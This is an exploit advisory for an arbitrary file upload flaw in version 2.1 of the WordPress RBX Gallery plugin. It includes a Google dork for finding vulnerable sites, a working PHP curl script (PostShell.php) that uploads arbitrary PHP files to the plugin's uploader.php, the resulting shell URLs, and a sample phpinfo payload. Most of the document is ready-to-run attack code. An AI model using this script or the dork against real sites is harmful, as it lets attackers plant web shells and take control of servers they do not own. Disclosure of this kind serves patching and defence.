Wordpress RBX Gallery Plugin 2.1 Arbitrary File Upload

##################################################
# Description : Wordpress Plugins - RBX Gallery Multiple Arbitrary File
Upload Vulnerability
# Version : 2.1
# Link : http://wordpress.org/extend/plugins/rbxgallery/
# Plugins : http://downloads.wordpress.org/plugin/rbxgallery.2.1.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/rbxgallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################

Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$uploadfile2="db.php";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/rbxgallery/uploader.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('images[0]'=>"@$uploadfile",
                'images[1]'=>"@$uploadfile2",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/lo.php
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/db.php

lo.php
<?php
phpinfo();
?>